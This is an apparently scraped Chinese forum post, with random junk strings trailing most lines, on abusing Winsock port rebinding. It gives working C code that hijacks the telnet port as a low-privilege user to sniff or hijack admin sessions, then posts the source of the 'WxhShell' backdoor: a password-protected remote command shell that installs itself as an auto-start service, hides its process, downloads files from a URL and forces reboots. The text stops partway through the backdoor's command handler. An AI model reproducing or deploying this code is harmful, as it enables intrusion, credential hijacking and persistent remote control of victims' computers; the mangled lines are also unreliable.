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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sNcU>qjj6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /]'&cD 1  
n|6G\99l+M  
  saddr.sin_family = AF_INET; J(@" 7RX  
8Iu6r}k?~`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q g=`=]j  
mXyN{`q=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U;4i&=.!  
fM7B<eB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sve} ent  
h@\-]zN{  
  这意味着什么?意味着可以进行如下的攻击: ZO cpF1y  
m_CW Vw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8<mloM-4  
YY:{/0?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wpt$bqs|1  
nW"O+s3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ h5d~  
w8R7Ksn(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2T)k-3  
C?>d$G8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q~qM;l\i  
cu foP&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y< j7iN  
JVkuSIR>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m$^5{qpg  
q~ Z UtF  
  #include A{J?I:  
  #include ^)Awjj9  
  #include =X^a  
  #include    E;{CoL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |h 6!bt!=  
  int main() }4!}vkVx  
  { m BFNg3_  
  WORD wVersionRequested; S|)atJJ0G"  
  DWORD ret; 3@\/5I xn  
  WSADATA wsaData; e)B1)c8s  
  BOOL val; ar\|D\0V  
  SOCKADDR_IN saddr; -dO8Uis$  
  SOCKADDR_IN scaddr; IqFcrU$4  
  int err; 8y<.yfgG  
  SOCKET s; 2t_g\Q  
  SOCKET sc; l+>Y  
  int caddsize; JygJ4RI%j  
  HANDLE mt; {l!{b1KJ  
  DWORD tid;   j0~am,yZ  
  wVersionRequested = MAKEWORD( 2, 2 ); )W p7e51  
  err = WSAStartup( wVersionRequested, &wsaData ); }|2A6^FH.  
  if ( err != 0 ) { PN?;\k)"  
  printf("error!WSAStartup failed!\n"); 9x!kvB6  
  return -1; !J<Xel {  
  } fX 1%I  
  saddr.sin_family = AF_INET; KYw7Jx`l  
   <=GZm}/]N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E;s_=j1f  
j3;W-c`5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &U?4e'N)T  
  saddr.sin_port = htons(23); zJW2F_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .U=x2txb  
  { LEP TL#WT1  
  printf("error!socket failed!\n"); / 7\q#qIm:  
  return -1; Qt {){uE  
  } iTq&h=(n  
  val = TRUE; Q"~%T@e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  8Cp@k=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z\`SDC  
  { O2ktqAWx@  
  printf("error!setsockopt failed!\n"); N,rd= m+  
  return -1; 3{|~'5*  
  } 1!G}*38;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,(Zxd4?y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HQ9tvSc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2"Wq=qy\J  
gAorb\iJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iYvzZ7 8f  
  { "*D9.LyM  
  ret=GetLastError(); {+_p?8X  
  printf("error!bind failed!\n"); g$#A'Du  
  return -1; "Y L^j~A  
  } BK4S$B  
  listen(s,2); IMbF]6%p(  
  while(1) 5o 5DG  
  { %n9ukc~$p  
  caddsize = sizeof(scaddr); ?M&@# lbG  
  //接受连接请求 >Rt:8uurAG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~Yg) 8  
  if(sc!=INVALID_SOCKET) +@!\3a4!  
  { \RR` F .7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A32Sdr'D  
  if(mt==NULL) ?2da6v,t  
  { yp$jLBA  
  printf("Thread Creat Failed!\n"); Hy\q{  
  break; -ak. wwx\  
  } 2bTS, N/>  
  } qOy(dG g  
  CloseHandle(mt); N [3Y~HX!q  
  } us?q^>u  
  closesocket(s); //|B?4kk  
  WSACleanup(); *j]Bo,AC  
  return 0; zn^7#$fC  
  }   B*O/>=_  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~<<32t'S:  
  { R[jFB 7dd  
  SOCKET ss = (SOCKET)lpParam; CKZEX*mPC  
  SOCKET sc; 0Yq_B+IC  
  unsigned char buf[4096]; oY0b8=[  
  SOCKADDR_IN saddr; _F[a2PE2+  
  long num; \8<[P(!3  
  DWORD val; 2HBey  
  DWORD ret; N".BC|r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U W8yu.`?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7Ko*`-p  
  saddr.sin_family = AF_INET; P.q7rk<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dtY8>klI  
  saddr.sin_port = htons(23); B,_K mHItd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E_A5KLP  
  { d2i ?FT>  
  printf("error!socket failed!\n"); dl8f]y#Q  
  return -1; M0lJyz J  
  } r`<e<C  
  val = 100; R\3v=PR[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;}f {o^]'  
  { *q=\ e9  
  ret = GetLastError(); kZG; \  
  return -1; hQe78y  
  } G)[gLD{g?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xLFMC?I  
  { K]B`&ih  
  ret = GetLastError(); Q.eD:@%iE  
  return -1; 8(Ptse  ,  
  } >gL&a#<S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .!L{yU,  
  {  "O9n|B  
  printf("error!socket connect failed!\n"); r`sKe &  
  closesocket(sc); PR!0=E*}  
  closesocket(ss); +ug2p;<B  
  return -1; @<$m`^H  
  } v)O].Hd  
  while(1) W0mvwYON[  
  { n(#yGzq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YU6|/ <8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `u_MdB}<x;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &F#eYEuy  
  num = recv(ss,buf,4096,0); &E0^Jz  
  if(num>0) +RM!j9Rq  
  send(sc,buf,num,0); Lz_.m  
  else if(num==0) @|"K"j#  
  break; zi`q([  
  num = recv(sc,buf,4096,0); > r(`4M:  
  if(num>0) _i7yyt;h  
  send(ss,buf,num,0); Z?qLn6y1W  
  else if(num==0) 1>\V>g9  
  break; DAf@-~c  
  } Q.jThP`p  
  closesocket(ss); >)NS U  
  closesocket(sc); 'L7u`  
  return 0 ; @N<h`vDa  
  } GY@:[u.&  
;AVIt!(L~V  
K/Y"oQ2  
========================================================== ( 1  
5c}loOq  
下边附上一个代码,,WXhSHELL .Ow8C  
W+8s>  
========================================================== X!~y&[;[C  
bM?29cs  
#include "stdafx.h" rrEf<A}  
8EJP~bt  
#include <stdio.h> |%|Vlu  
#include <string.h> L1G)/Vkw  
#include <windows.h> ADOA&r[  
#include <winsock2.h> tN)t`1_j  
#include <winsvc.h> ^+d]'$  
#include <urlmon.h> AZik:C"Q  
\v=@'  
#pragma comment (lib, "Ws2_32.lib") lcEK&AtK  
#pragma comment (lib, "urlmon.lib")  LDU4 D  
bFL2NH5  
#define MAX_USER   100 // 最大客户端连接数 ' e!WZvr  
#define BUF_SOCK   200 // sock buffer M6A0D+08  
#define KEY_BUFF   255 // 输入 buffer BUsxgs"),  
iyR"O1]  
#define REBOOT     0   // 重启 9dAtQwGR"6  
#define SHUTDOWN   1   // 关机 pQc-}o"  
{"$ [MYi:  
#define DEF_PORT   5000 // 监听端口 JJg;X :p  
M,kO7g  
#define REG_LEN     16   // 注册表键长度 $.w$x1  
#define SVC_LEN     80   // NT服务名长度 ]LxE#R5V  
OJA_OqVp$K  
// 从dll定义API &M3KJ I0L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yDZm)|<.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z;1r=p#s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H0])>1sWB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P'}B5 I~  
=<PEvIn  
// wxhshell配置信息 ^ZS!1%1  
struct WSCFG { @x!+_z  
  int ws_port;         // 监听端口 ,H.5TQ#  
  char ws_passstr[REG_LEN]; // 口令 ]n"RPktx  
  int ws_autoins;       // 安装标记, 1=yes 0=no "LkBN0D  
  char ws_regname[REG_LEN]; // 注册表键名 Nr*X1lJ6  
  char ws_svcname[REG_LEN]; // 服务名 w?8\9\ ;?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A1Uy|Dl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ] `q]n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kMLJa=]$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w 2U302TZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n`w]?bL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pe\Obd8d  
\k"CtzoX  
}; A*/8j\{n  
+%klS `_  
// default Wxhshell configuration h*1T3U$  
struct WSCFG wscfg={DEF_PORT, 5#X R1#`  
    "xuhuanlingzhe", q7soV(P  
    1, .$y'>O*$G  
    "Wxhshell", zv;xxAX  
    "Wxhshell", [N9yW uc  
            "WxhShell Service", 1$C?+H  
    "Wrsky Windows CmdShell Service", zv/dj04>  
    "Please Input Your Password: ", ?fC9)s  
  1, d8 Jf3Mo  
  "http://www.wrsky.com/wxhshell.exe", PXtF#,roP  
  "Wxhshell.exe" 3X DU(#  
    }; }hg2}g99  
v)gMNzt  
// 消息定义模块 @K*W3&TO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B@dCCKc%/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #6D>e~>n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9v-Y*\!w.  
char *msg_ws_ext="\n\rExit."; /~;!Ew|q  
char *msg_ws_end="\n\rQuit."; +|X`cmnuU  
char *msg_ws_boot="\n\rReboot..."; <Ist^ h+o  
char *msg_ws_poff="\n\rShutdown..."; a 8Xwz@ M  
char *msg_ws_down="\n\rSave to "; 1(>2tEjYT  
-Edy ~;_  
char *msg_ws_err="\n\rErr!"; Dic|n@_Fy  
char *msg_ws_ok="\n\rOK!"; p"jze3mF  
i_r708ep6  
char ExeFile[MAX_PATH]; o37oRv]  
int nUser = 0; Pn.DeoHme  
HANDLE handles[MAX_USER]; {=Jo!t;f  
int OsIsNt; coPdyw'9&  
Ck %if  
SERVICE_STATUS       serviceStatus; Q_iN/F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -}!mi V  
OX]P;#4tU  
// 函数声明 ^=5y;  
int Install(void); ~&MDfpl  
int Uninstall(void); 1t^9.!$@y  
int DownloadFile(char *sURL, SOCKET wsh); 4J(-~  
int Boot(int flag); ]e"!ZR?XJ  
void HideProc(void); ,!%E\`  
int GetOsVer(void); LdNpb;*  
int Wxhshell(SOCKET wsl);  s7:H  
void TalkWithClient(void *cs); "sDs[Lcq  
int CmdShell(SOCKET sock); \~Z%}$ =  
int StartFromService(void); T KAs@X,t  
int StartWxhshell(LPSTR lpCmdLine); V'Kied+  
ZPb30M0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q^zG+FN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -D=Sj@G  
MVvBd3  
// 数据结构和表定义 {~Jk(c~I  
SERVICE_TABLE_ENTRY DispatchTable[] = 8{i}^.p  
{ ?r8hl.Z>  
{wscfg.ws_svcname, NTServiceMain}, $Q'z9ghEg  
{NULL, NULL} v_/<f&r  
}; k_1@?&3  
m F+8Q  
// 自我安装 !V/\_P!I  
int Install(void) MY c&  
{ (F.w?f4B3  
  char svExeFile[MAX_PATH]; X;)/<:mX  
  HKEY key; yx4pQL7  
  strcpy(svExeFile,ExeFile); g:y4C6b  
`0M6<e]C  
// 如果是win9x系统,修改注册表设为自启动 9Sd?,z  
if(!OsIsNt) { G![4K#~NM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m$v >r\*X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \>lA2^E f  
  RegCloseKey(key); =l*xM/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zP2X}VLMo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zYY]+)k?  
  RegCloseKey(key); 5*YvgB;  
  return 0; EleJ$ `/  
    } M | "'`zc  
  } q6nRk~  
} 1%N*GJlwJ  
else { P\6:euI  
a9{NAyl<oo  
// 如果是NT以上系统,安装为系统服务 #\D 74$D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [Eu) ~J*  
if (schSCManager!=0) ZOa|lB (,  
{ LK}FI* A_  
  SC_HANDLE schService = CreateService vo*oCfm  
  ( c6c@ Xd V  
  schSCManager, {!qnHv\S  
  wscfg.ws_svcname, ~;Y Tz  
  wscfg.ws_svcdisp, l*&N<Yu  
  SERVICE_ALL_ACCESS, "qR, V9\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S!z3$@o  
  SERVICE_AUTO_START, J+ S]Qoz  
  SERVICE_ERROR_NORMAL, +ls`;f  
  svExeFile, g\.$4N  
  NULL, ,3f>-mP  
  NULL, GCO: !,1  
  NULL, `<>QKpAn  
  NULL, xYYa%PhIC  
  NULL ?0* [ L  
  ); C:5d/9k  
  if (schService!=0) '#LzQ6Pn  
  { FG{les+:  
  CloseServiceHandle(schService); QdQ1+*/+U  
  CloseServiceHandle(schSCManager); YMK ![ q-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K@cWg C  
  strcat(svExeFile,wscfg.ws_svcname);  @,k5T51m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b$#b+G{y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); we^' R}d  
  RegCloseKey(key); 5BXku=M  
  return 0; X"_ ^^d-  
    } "zd_eC5  
  }   P3|s}&  
  CloseServiceHandle(schSCManager); h ka_Fo  
} a <?~1pWtc  
} ! {G0'   
l}VE8-XB  
return 1; ^4"AWps  
} zN[& iKf  
,z/aT6M?H  
// 自我卸载 81s }4  
int Uninstall(void) YT(Eh3ID  
{ `=#jWZ.8m  
  HKEY key; A7+ZY,  
#*_!Xc9f  
if(!OsIsNt) { 0<~~0US  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?-mOAHW0q  
  RegDeleteValue(key,wscfg.ws_regname); \ DZ.#=d  
  RegCloseKey(key); [NO4Wzc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r=Lgh#9S  
  RegDeleteValue(key,wscfg.ws_regname); U-fxlg|-C  
  RegCloseKey(key); 3s%ND7!/  
  return 0; hPBBXj/=  
  } &5b 3k[K"  
} msfE;  
} J({D~  
else { 0]c&K  
/R=MX>JA;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r W[;3yMf  
if (schSCManager!=0) eeCG#NFY5  
{ miQ*enZi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =NC??e{  
  if (schService!=0) o|z@h][(l(  
  { ={oNY.(Q  
  if(DeleteService(schService)!=0) { ([< HFc`  
  CloseServiceHandle(schService); $B%KkD  
  CloseServiceHandle(schSCManager); x$BNFb%I1  
  return 0; jUA~}DVD  
  } -W('^v_*  
  CloseServiceHandle(schService); 5{V"!M+<  
  } ;j1E6  
  CloseServiceHandle(schSCManager); `<se&IZE  
} KU` *LB:  
} T&]-p:mg^  
|JYb4J4Ni  
return 1; LiT%d  
} {P~rf&Ee  
d8jH?P-"  
// 从指定url下载文件 -9= DDoO  
int DownloadFile(char *sURL, SOCKET wsh) OriYt  
{ jj]\]6@+P  
  HRESULT hr; ;n(f?RO3X  
char seps[]= "/"; Fk3(( n=  
char *token; P%e7c,  
char *file; rn*'[i?  
char myURL[MAX_PATH]; ,*6K3/kW  
char myFILE[MAX_PATH]; l|gi2~ %Y  
e c]kt'  
strcpy(myURL,sURL); YQG l8E'  
  token=strtok(myURL,seps); \M\7k5$  
  while(token!=NULL) klm>/MXI`  
  { >bZ-mX)j\0  
    file=token; Ei@  
  token=strtok(NULL,seps); \/3(>g?4  
  } 5>f"  
[%dsq`b#  
GetCurrentDirectory(MAX_PATH,myFILE); fS4W*P[B3  
strcat(myFILE, "\\"); sS}:Od  
strcat(myFILE, file); aHW34e@ebL  
  send(wsh,myFILE,strlen(myFILE),0); \~,\|  
send(wsh,"...",3,0); *%KIq/V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a#r{FoU{M8  
  if(hr==S_OK) d%'#-w'  
return 0; x0Loid\f  
else tp cB}HUv  
return 1; _< .VP  
OU,FU@6,7w  
} X<;.  
\]Ah=`  
// 系统电源模块 p)/e;q^  
int Boot(int flag) /)_4QSz7  
{ 08nh y[  
  HANDLE hToken; ,R`CAf%*  
  TOKEN_PRIVILEGES tkp; "73y}'  
K& ^qn&  
  if(OsIsNt) { lUEbxN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nz`8)Le  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "crR{OjE"  
    tkp.PrivilegeCount = 1; T/P\j0hR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q\o#<'F1J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /OztkThx=  
if(flag==REBOOT) { iiq `:G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E72N=7v"  
  return 0; tz;o6,eb  
} F7JO/U^oU  
else { 6L8nw+mEK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %MHL@Nn>e  
  return 0; BNdq=|,+"  
} U U_0@V<  
  } / =6_2t#vA  
  else { qco'neR"z  
if(flag==REBOOT) { # atq7t X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >]~581fYf  
  return 0;  : Z<\R0  
} PDD2ouv4  
else { *b) (-#w3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l.pxDMY  
  return 0; ~wW]ntZm  
} 2Cp4aTGv#  
} 3pWav 1"  
L.@$rFhA  
return 1; ^;PjO|mD Z  
} f<bB= 9J  
cwzkA,e@  
// win9x进程隐藏模块 n>.@@  
void HideProc(void) ek]JzD~w$  
{ #h=V@Dh  
HU?1>}4L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j13- ?fQ&  
  if ( hKernel != NULL )  mU4(MjP?  
  { )4uWB2ZRoi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A2ye ^<-C.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BGibBF^  
    FreeLibrary(hKernel); H I|a88   
  } a8T9=KY^  
cOP'ql{"  
return; e#HPU  
} A_@..hX(  
?Sh]kJ O  
// 获取操作系统版本 i_*yS+Z;  
int GetOsVer(void) =_k  
{ 8wkhbD|;  
  OSVERSIONINFO winfo; r[Pp[ g-J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3\m !  
  GetVersionEx(&winfo); O.Pp*sQ^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ++,I`x+p  
  return 1; A` _dj}UF  
  else 6t;;Fz  
  return 0; q("XS  
} y60aJ)rAX  
j%'2^C8  
// 客户端句柄模块 ^oPFLez56  
int Wxhshell(SOCKET wsl) G;cC!x<  
{ O"~[njwkE  
  SOCKET wsh; n)5t!  
  struct sockaddr_in client; apm%\dN  
  DWORD myID; Gf.ywqE$Y$  
72~L  ?  
  while(nUser<MAX_USER) ZskX!{  
{ Ne<S_u2nT  
  int nSize=sizeof(client); ~2rQ80_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B`eK_'7t  
  if(wsh==INVALID_SOCKET) return 1; UeFJ5n'x:  
&l2xh~L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "G>d8GbIh  
if(handles[nUser]==0) n! 5(Z5=  
  closesocket(wsh); A-4;$ QSm  
else +&u/R')?6r  
  nUser++; PR|z -T  
  } :|V650/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?QffSSj[s  
b(N\R_IQ~  
  return 0; `G!HGzVx;j  
} *bp09XG  
*D%w r'!>  
// 关闭 socket BmpAH}%T  
void CloseIt(SOCKET wsh) "v?F4&\ 8  
{ o7E|wS  
closesocket(wsh); P,pC Z+H  
nUser--; #:BkDidt2v  
ExitThread(0); \12G,tBH  
} Vc5>I_   
^*fD  
// 客户端请求句柄 }d; 2[fR)  
void TalkWithClient(void *cs) \ejHM}w3,  
{ tUH?N/qn  
T=YVG@fm?  
  SOCKET wsh=(SOCKET)cs; '9u?lA^9$  
  char pwd[SVC_LEN]; jA9uB.I,"b  
  char cmd[KEY_BUFF]; AcuZ? LYzK  
char chr[1]; ,(q] $eOZ  
int i,j; E'4Psx9: =  
4#>Z.sf  
  while (nUser < MAX_USER) { ?u:`?(\  
rtAPkXJFM  
if(wscfg.ws_passstr) { >(P(!^[f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lv/im/]v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l9uocP:D  
  //ZeroMemory(pwd,KEY_BUFF); j17h_ a;  
      i=0; `Ns@W?  
  while(i<SVC_LEN) { !{+CzUo@  
'MW%\W;  
  // 设置超时 M *w{PjU  
  fd_set FdRead; PY_8*~Z  
  struct timeval TimeOut; bj@sci(1?  
  FD_ZERO(&FdRead); ^X{U7?x  
  FD_SET(wsh,&FdRead); `>UUdv{C  
  TimeOut.tv_sec=8; f@YdL6&d-  
  TimeOut.tv_usec=0; BhDg\oxZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +0U=UV)U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s1wlOy  
d@ 8M_ O |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :AlvWf$d  
  pwd=chr[0]; )e5=<'f 1  
  if(chr[0]==0xd || chr[0]==0xa) { nG4ZOx.*1g  
  pwd=0; mWZP.w^-  
  break; 'i$. _Tx  
  } gk| % 4.  
  i++; (/$-2.@  
    } Y _`JS;  
z4_B/Q  
  // 如果是非法用户,关闭 socket 36{OE!,i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S|| W  
} EGgw#JAi#t  
'6vo#D9M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kCEuzd=$V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @4UX~=:686  
A^FkU  
while(1) { hNh!H<}|m8  
D+:s{IcL<  
  ZeroMemory(cmd,KEY_BUFF); /UK?&+1qE  
\h3HaNC  
      // 自动支持客户端 telnet标准   wi+Q lf  
  j=0; y}oA!<#3  
  while(j<KEY_BUFF) { =&08s(A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4>oM5Yf8  
  cmd[j]=chr[0]; Mm*V;ADF  
  if(chr[0]==0xa || chr[0]==0xd) { c&wg`1{Hal  
  cmd[j]=0; 4GI3|{  
  break; ~vt*%GN3  
  } n.c0G`  
  j++; eik_w(xPT  
    } bv h#Q_  
}v}F8}4  
  // 下载文件 ``< #F3  
  if(strstr(cmd,"http://")) { !%M,x~H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }0\SNpVN  
  if(DownloadFile(cmd,wsh)) 5B|.cOE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"#N;  
  else 4vi?9MPz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %dnpO|L  
  } r e zp7  
  else { [;IEZ/ZX  
L&s~j/ pR  
    switch(cmd[0]) { {1Cnrjw  
  75p9_)>96  
  // 帮助 _!zc <&~I  
  case '?': { +`wr{kB$~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UfPB-EFl$D  
    break; k0=!%f_G!  
  } Uf+y$n-  
  // 安装 Wjq9f;  
  case 'i': { _4) t  
    if(Install()) \^,Jh|T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sE&nEc  
    else #2i$:c~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lz>00B<Z  
    break; Bj4c_YBte  
    }  kSEA  
  // 卸载 N KgEs   
  case 'r': { kM4z %  
    if(Uninstall()) e@V J-s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X=-=z5  
    else 2~/`L=L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XdDQ$'*X  
    break; SujEF` "  
    } CC!`fX6z>h  
  // 显示 wxhshell 所在路径 Pi=FnS  
  case 'p': { aWimg6q  
    char svExeFile[MAX_PATH]; |-vyhr 0  
    strcpy(svExeFile,"\n\r"); 0vLx={i  
      strcat(svExeFile,ExeFile); 1J1Jp|j.  
        send(wsh,svExeFile,strlen(svExeFile),0); *A!M0TK?i,  
    break; A4(L47^  
    } r6\g #}  
  // 重启 DZL(G [  
  case 'b': { i 7T#WfF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }2S!;swg+  
    if(Boot(REBOOT)) 6!0NFP~b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _YR#J%xa  
    else { cd,'37pZ  
    closesocket(wsh); cHr]{@7Cs  
    ExitThread(0); YIW9z{rrs  
    } XsJ`x  
    break; 'X+aYF }Ye  
    } H#GR*4x  
  // 关机 pW8?EGO@  
  case 'd': { -SD:G]un  
